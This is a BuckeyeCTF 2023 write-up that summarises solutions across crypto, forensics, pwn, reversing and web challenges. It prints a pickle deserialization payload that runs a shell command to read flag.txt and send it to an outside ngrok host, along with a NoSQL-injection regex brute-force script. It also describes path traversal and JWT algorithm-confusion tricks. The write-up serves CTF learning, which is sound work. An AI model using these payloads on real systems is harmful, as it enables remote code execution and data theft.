BuckeyeCTF 2023 was quite enjoyable! I was able to solve 17/46 challenges.
Crypto
My First Hash
Here's your flag: 8f163b472e2164f66a5cd751098783f9 Psyc! Its encrypted.
You think I'd give it to you that easily?
Definitely don't look at my code tho -><- (when you find the flag, put it in bctf{} format)
Solution
Through examination of the my-first-hash.py
, we can see that the flag is encoded using hashlib.md5
. MD5 is known to be a vulnerable hash function. We can try putting the hashed flag into a site such as CrackStation.net, which yields the word orchestra
.
Rivest-Shamir-Adleman
Big numbers make big security
Solution
The title gives the hint that the challenge is RSA encryption. We are provided with a Python file, which contains RSA variables p, q, and e, that output variables e, n, and c. Since p and q are provided (the prime numbers that are used as keys in RSA), we can use any RSA decoder to determine the answer. For example, we used dcode.fr.
Secret code
Here's your flag again: 1:10:d0:10:42:41:34:20:b5:40:03:30:91:c5:e1:e3:d2:a2:72:d1:61:d0:10:e3:a0:43:c1:01:10:b1:b1:b0:b1:40:9
LOL you snub_wrestle. Good luck trying to undo my xor key I used on each character of the flag.
Solution
The challenge hints that the cipher is XOR, and we can see that the encoding is hexadecimal. Therefore, in Cyberchef, we can use Search/Replace to remove colons, into From Hex, into XOR with snub_wrestle
as the ASCII key to get the flag.
Electronical
We are provided with a link to a website. Through analysis of the source code, we can see that it performs AES-ECB encryption and appends the flag after the user input in the plaintext when encrypting. Through online research, it can be determined that AES-ECB is vulnerable to a “known plaintext attack.” We repurposed some code from others who solved similar challenges in the past in order to acquire the flag.
Misc
Needle in the Wifi Stack
We were given a pcap file. In Wireshark, we exported the file into a text file, at which we extracted the base64 encoded SSIDs programatically and searched for the flag.
replace-me
The file dist
was identified with file
as an Android boot.img, of which I am all too familiar from Sailfish OS porting. We used the Android Image Kitchen to extract the boot.img file. We looked around in the ramdisk and found an image file that contained the flag in plain view, at res/images/changer/battery_fail.png
Pwn
Beginner Menu
Through analysis of the beginner-menu.c code, each if case called exit
, but we could see that there was no if
case for atoi(buf) < 0
. Therefore we entered a negative number which caused print_flag
to be called, since it was after all the if statements.
Starter Buffer
Through examination of the code, we could determine that we wanted to overwrite an array with 0x45. Therefore, we entered above 50 characters (the size of the char array) – so about 70 characters, which caused the other variable to contain 0x45, therefore causing the flag to be printed.
Igpay Atinlay Natorlay
Through examination of the Rust documentation, it can be determined that entering 16 bit characters, such as Chinese characters, into a char array and indexing that array causes Rust to panic. Therefore we entered 老虎 into the challenge, which gave us the flag.
Rev
Currency Convertor
We reverse engineered the converter.jar file using JD-GUI, and examined the source code. The flag was in plain sight.
8ball
We decompiled the 8ball binary using IDA. We determined that the code wanted the first command line argument (the name of the program) to magic8ball, so we renamed the binary accordingly. Next, we found that the word flag
needed to be passed as the second argument, so we did so, calling the binary as ./magic8ball flag
to acqire the flag.
Web
Triple D Columbus
Hi, I'm Guy Fieri, and we're rolling out looking for America's greatest diners, drive-ins, and dives.
https://triple-d-columbus.chall.pwnoh.io
Solution
Open the link and search for ‘bctf{’ in Inspect Element.
Spa
We looked in the Network Inspector and saw that the website was requesting the resource isAdmin
and the server responded with JSON with {"isAdmin": false}
. Therefore we used OWASP ZAP to set a breakpoint on requests to isAdmin and manually changed false to true. Then, the website displayed a dashboard link, which contained the flag.
Stray
We see that there is a possible path traversal attack, since the code is concatenating the user input variable category
but there is a length check for category.length == 1
. Therefore we tricked the length check by passing the parameter as an array, https://stray.chall.pwnoh.io/cat?category[]=../flag.txt
since there was no type checking, which yielded the flag.
Text Adventure API
We see that the /api/load
endpoint loads a Python pickle from the user. Therefore, we created a pickle file that implemented __reduce__
to load the flag, as follows:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('python -c \'import urllib.request; file=open("flag.txt","r"); a=file.readline(); contents = urllib.request.urlopen("https://NGROK_URL" + a).read()\'')
return os.system, (cmd,)
if __name__ == '__main__':
with open('filename.pkl', 'wb') as handle:
pickle.dump(RCE(), handle, protocol=pickle.HIGHEST_PROTOCOL)
This file caused the flag.txt contents to be sent to an HTTP server, which we relayed using ngrok
to get on the public internet.
Area51
Through examination of the code, we see that Mongo find
is being called without type checking when the session cookie is loaded. Therefore, we were able to brute force the session cookie, since we could use NoSQL injection to provide a Regex that matched the entries in the Mongo database.
We used this code:
import requests
import string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "{}_@{}-/()!\"$%=^[]:;"
flag = "bctf{"
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
cookies = dict(session='{"token": {"$regex": "^' + flag + char + '"}}');
print (cookies)
r = requests.get("https://area51.chall.pwnoh.io/", cookies=cookies)
if ("Pardon" in r.text):
flag += char
print("[+] Flag: "+flag)
break
Certs
We examined the code and determined that a JSON Web Token (JWT) was used to verify the authenticity of the PDF certificates. The JWT was inputted as a one-point font line of text in the upper left corner of the PDF. It was signed using a RS256 public-private key pair. However, we saw that the JWT was being verified in the code without checking that the proper algorithm was used. Additionally the public key was provided. Therefore, we were able to craft an HS256 JWT that used the provided public key and submit it in the pdf to get the flag.